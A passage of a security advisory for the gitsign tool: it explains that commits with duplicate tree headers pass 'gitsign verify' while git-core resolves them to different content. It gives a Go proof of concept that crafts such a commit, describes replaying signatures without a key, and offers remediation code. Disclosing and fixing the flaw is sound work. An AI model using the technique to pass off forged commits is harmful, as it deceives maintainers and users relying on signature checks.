objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
rawObj := &plumbing.MemoryObject{}
rawObj.SetType(plumbing.CommitObject)
_, _ = rawObj.Write([]byte(malformedRaw))
fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
fmt.Println("CERT_VERIFY_ERROR:", verr) // nil = signature accepted
fmt.Println("OBJECTHASH_ERROR:", oerr)
fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}
Expected output:
FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL: true
CERT_VERIFY_ERROR: <nil> ← signature accepted
OBJECTHASH_ERROR: <nil>
OBJECTHASH_FROM_VERIFY_DATA: <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH: <different hash> ← hash mismatch confirms split
Impact
- Signature binding bypass:
gitsign verifyreports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree). - Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes
gitsign verifybut points to attacker-controlled content, without possessing any signing key. - Rekor tlog inconsistency:
ObjectHashalso goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch. - Verification path divergence:
git verify-commitandgitsign verifyreach opposite verdicts for the same malformed commit, undermining auditability.
Recommended Remediation
Option 1: Verify against raw bytes (preferred)
Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:
// internal/commands/verify/verify.go — replace lines 63–92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
return err
}
// data is now the raw bytes without the gpgsig header — identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)
This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.
Option 2: Detect and reject malformed objects
Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:
func validateRawCommitFields(data []byte) error {
seen := map[string]bool{}
for _, line := range bytes.Split(data, []byte("\n")) {
if idx := bytes.IndexByte(line, ' '); idx > 0 {
key := string(line[:idx])
if seen[key] {
return fmt.Errorf("malformed commit: duplicate field %q", key)
}
seen[key] = true
}
if len(line) == 0 {
break // end of headers
}
}
return nil
}
This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/gitsign"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44309"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:38:50Z",
"nvd_published_at": "2026-05-15T17:16:47Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git\u0027s `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.7)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N`\n\n- **Attack Vector:** Network \u2014 a malformed commit can be distributed via any accessible git remote\n- **Attack Complexity:** High \u2014 exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)\n- **Privileges Required:** None \u2014 the most impactful form (signature replay) requires no signing key\n- **User Interaction:** Required \u2014 a victim must run `gitsign verify` on the malformed commit\n- **Scope:** Unchanged \u2014 impact is confined to the repository under verification\n- **Confidentiality Impact:** None\n- **Integrity Impact:** High \u2014 a verified signature appears to endorse content different from what git-core resolves and presents to users\n- **Availability Impact:** None\n\n## Affected Component\n\n- `internal/commands/verify/verify.go` \u2014 `(o *options).Run` (line 75)\n- `internal/commands/verify-tag/verify_tag.go` \u2014 `(o *options).Run` (line 77)\n- `pkg/git/verify.go` \u2014 `ObjectHash` (lines 126\u2013158, specifically the `commit()` round-trip at 161\u2013176)\n\n## CWE\n\n- **CWE-347**: Improper Verification of Cryptographic Signature\n- **CWE-295**: Improper Certificate Validation (secondary \u2014 the mismatch allows a cert to appear to cover content it never covered)\n\n## Description\n\n### Root cause: re-encoding instead of raw-byte verification\n\nWhen `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier:\n\n```go\n// internal/commands/verify/verify.go:63\u201392\nc, err := repo.CommitObject(*h) // go-git parses the raw object\n...\nc2 := new(plumbing.MemoryObject)\nif err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form\n return err\n}\nr, _ := c2.Reader()\ndata, _ := io.ReadAll(r)\n\nsummary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes\n```\n\nThe same pattern appears in `verify-tag`:\n\n```go\n// internal/commands/verify-tag/verify_tag.go:76\u201395\ntagData := new(plumbing.MemoryObject)\nif err := tagObj.EncodeWithoutSignature(tagData); err != nil {\n return err\n}\n```\n\n### The loose-parsing assumption in go-git\n\nThe codebase itself acknowledges the problem in `ObjectHash`:\n\n```go\n// pkg/git/verify.go:137\u2013142\n// We\u0027re making big assumptions here about the ordering of fields\n// in Git objects. Unfortunately go-git does loose parsing of objects,\n// so it will happily decode objects that don\u0027t match the unmarshal type.\n// We should see if there\u0027s a better way to detect object types.\nswitch {\ncase bytes.HasPrefix(data, []byte(\"tree \")):\n encoder, err = commit(obj, sig)\n```\n\ngo-git\u0027s loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree \u2014 which can differ from what git-core resolves.\n\n### Divergent verification paths confirm the inconsistency\n\nThe `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them:\n\n```go\n// internal/commands/root/verify.go:56\u201370\ndetached := len(args) \u003e= 2\nif detached {\n data, sig, err = readDetached(s, args...) // raw bytes from git-core\n} else {\n sig, err = readAttached(s, args...)\n}\n...\nsummary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding\n```\n\nThe two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees \u2260 signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes).\n\n### Concrete attack: signature replay without a signing key\n\nAn attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:\n\n```\ntree T1 \u2190 Alice\u0027s real tree (what go-git and gitsign see)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature over T1 canonical form\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\nAn attacker crafts a new malformed commit object:\n\n```\ntree T2 \u2190 attacker\u0027s malicious tree (git-core uses this)\ntree T1 \u2190 Alice\u0027s tree (go-git uses this)\nauthor Alice \u003calice@corp.com\u003e ...\ncommitter Alice \u003calice@corp.com\u003e ...\ngpgsig -----BEGIN SIGNED MESSAGE-----\n \u003cAlice\u0027s valid signature \u2014 replayed verbatim\u003e\n -----END SIGNED MESSAGE-----\n\nThis is Alice\u0027s commit.\n```\n\n- **`gitsign verify`**: go-git picks T1, re-encodes, Alice\u0027s signature verifies. Output: \"Good signature from alice@corp.com.\"\n- **`git log` / `git-core`**: uses T2 (attacker-controlled content).\n- **Rekor lookup**: `ObjectHash` also goes through the go-git round-trip, so the logged hash is the T1-canonical hash \u2014 consistent with the forged verification output but not with the actual raw object.\n\nThe attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs `gitsign verify`.\n\n## Proof of Concept\n\n```go\n// poc_tree_mismatch.go \u2014 run from repo root: go run ./poc_tree_mismatch.go\npackage main\n\nimport (\n \"context\"\n \"crypto\"\n \"crypto/ecdsa\"\n \"crypto/elliptic\"\n \"crypto/rand\"\n \"crypto/x509\"\n \"crypto/x509/pkix\"\n \"fmt\"\n \"io\"\n \"math/big\"\n \"strings\"\n \"time\"\n\n \"github.com/go-git/go-git/v5/plumbing\"\n \"github.com/go-git/go-git/v5/plumbing/object\"\n \"github.com/go-git/go-git/v5/storage/memory\"\n \"github.com/sigstore/gitsign/internal/signature\"\n ggit \"github.com/sigstore/gitsign/pkg/git\"\n)\n\ntype identity struct {\n cert *x509.Certificate\n priv crypto.Signer\n}\n\nfunc (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }\nfunc (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }\nfunc (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }\nfunc (i *identity) Delete() error { return nil }\nfunc (i *identity) Close() {}\n\nfunc indentSig(sig string) string {\n sig = strings.TrimSuffix(sig, \"\\n\")\n lines := strings.Split(sig, \"\\n\")\n out := \"gpgsig \" + lines[0] + \"\\n\"\n for _, ln := range lines[1:] {\n out += \" \" + ln + \"\\n\"\n }\n return out\n}\n\nfunc main() {\n priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n tmpl := \u0026x509.Certificate{\n SerialNumber: big.NewInt(1),\n Subject: pkix.Name{CommonName: \"attacker\"},\n NotBefore: time.Now().Add(-time.Minute),\n NotAfter: time.Now().Add(time.Hour),\n KeyUsage: x509.KeyUsageDigitalSignature,\n ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},\n BasicConstraintsValid: true,\n }\n rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, \u0026priv.PublicKey, priv)\n cert, _ := x509.ParseCertificate(rawCert)\n\n treeFirst := strings.Repeat(\"a\", 40) // git-core uses this\n treeSecond := strings.Repeat(\"b\", 40) // go-git uses this\n author := \"author Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n committer := \"committer Eve \u003ceve@example.com\u003e 1700000000 +0000\"\n msg := \"msg\\n\"\n\n // Sign the go-git canonical form (second tree only)\n canonicalData := fmt.Sprintf(\"tree %s\\n%s\\n%s\\n\\n%s\", treeSecond, author, committer, msg)\n id := \u0026identity{cert: cert, priv: priv}\n resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),\n signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})\n if err != nil {\n panic(err)\n }\n\n // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)\n malformedRaw := fmt.Sprintf(\"tree %s\\ntree %s\\n%s\\n%s\\n%s\\n%s\",\n treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)\n\n st := memory.NewStorage()\n enc := st.NewEncodedObject()\n enc.SetType(plumbing.CommitObject)\n w, _ := enc.Writer()\n _, _ = w.Write([]byte(malformedRaw))\n _ = w.Close()\n c, err := object.DecodeCommit(st, enc)\n if err != nil {\n panic(err)\n }\n\n // Reproduce what gitsign verify does\n out := new(plumbing.MemoryObject)\n if err := c.EncodeWithoutSignature(out); err != nil {\n panic(err)\n }\n r, _ := out.Reader()\n verifyData, _ := io.ReadAll(r)\n\n roots := x509.NewCertPool()\n roots.AddCert(cert)\n v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))\n _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)\n\n objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))\n rawObj := \u0026plumbing.MemoryObject{}\n rawObj.SetType(plumbing.CommitObject)\n _, _ = rawObj.Write([]byte(malformedRaw))\n\n fmt.Println(\"FIRST_TREE_IN_RAW (git-core):\", treeFirst)\n fmt.Println(\"SECOND_TREE_IN_RAW (go-git):\", treeSecond)\n fmt.Println(\"GO_GIT_PARSED_TREE:\", c.TreeHash.String())\n fmt.Println(\"VERIFY_DATA_EQUALS_CANONICAL:\", string(verifyData) == canonicalData)\n fmt.Println(\"CERT_VERIFY_ERROR:\", verr) // nil = signature accepted\n fmt.Println(\"OBJECTHASH_ERROR:\", oerr)\n fmt.Println(\"OBJECTHASH_FROM_VERIFY_DATA:\", objHash)\n fmt.Println(\"RAW_MALFORMED_COMMIT_HASH:\", rawObj.Hash().String()) // differs from objHash\n}\n```\n\n**Expected output:**\n\n```\nFIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nSECOND_TREE_IN_RAW (go-git): bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nGO_GIT_PARSED_TREE: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\nVERIFY_DATA_EQUALS_CANONICAL: true\nCERT_VERIFY_ERROR: \u003cnil\u003e \u2190 signature accepted\nOBJECTHASH_ERROR: \u003cnil\u003e\nOBJECTHASH_FROM_VERIFY_DATA: \u003chash of canonical form\u003e\nRAW_MALFORMED_COMMIT_HASH: \u003cdifferent hash\u003e \u2190 hash mismatch confirms split\n```\n\n## Impact\n\n- **Signature binding bypass**: `gitsign verify` reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).\n- **Signature replay without a key**: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes `gitsign verify` but points to attacker-controlled content, without possessing any signing key.\n- **Rekor tlog inconsistency**: `ObjectHash` also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.\n- **Verification path divergence**: `git verify-commit` and `gitsign verify` reach opposite verdicts for the same malformed commit, undermining auditability.\n\n## Recommended Remediation\n\n### Option 1: Verify against raw bytes (preferred)\n\nChange the `gitsign verify` and `gitsign verify-tag` CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what `commandVerify` already does when called by `git verify-commit`:\n\n```go\n// internal/commands/verify/verify.go \u2014 replace lines 63\u201392\nenc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)\nif err != nil {\n return fmt.Errorf(\"error reading encoded commit object: %w\", err)\n}\nr, err := enc.Reader()\nif err != nil {\n return err\n}\nrawBytes, err := io.ReadAll(r)\nif err != nil {\n return err\n}\ndata, sig, err := git.ExtractSignatureFromRawObject(rawBytes)\nif err != nil {\n return err\n}\n// data is now the raw bytes without the gpgsig header \u2014 identical to what git-core passes\nsummary, err := v.Verify(ctx, data, sig, true)\n```\n\nThis aligns the CLI verification path with the `commandVerify` (git verify-commit) path that already handles raw bytes correctly.\n\n### Option 2: Detect and reject malformed objects\n\nAdd a pre-verification check in `ObjectHash` and in the verification path that rejects objects with duplicate field headers (duplicate `tree`, `parent`, `author`, `committer`), returning an error rather than silently normalizing:\n\n```go\nfunc validateRawCommitFields(data []byte) error {\n seen := map[string]bool{}\n for _, line := range bytes.Split(data, []byte(\"\\n\")) {\n if idx := bytes.IndexByte(line, \u0027 \u0027); idx \u003e 0 {\n key := string(line[:idx])\n if seen[key] {\n return fmt.Errorf(\"malformed commit: duplicate field %q\", key)\n }\n seen[key] = true\n }\n if len(line) == 0 {\n break // end of headers\n }\n }\n return nil\n}\n```\n\nThis is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-7rmh-48mx-2vwc",
"modified": "2026-05-15T23:49:58Z",
"published": "2026-05-08T22:38:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44309"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/gitsign"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "gitsign verify accepts signatures over go-git-normalized bytes, enabling trust confusion on malformed commits"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.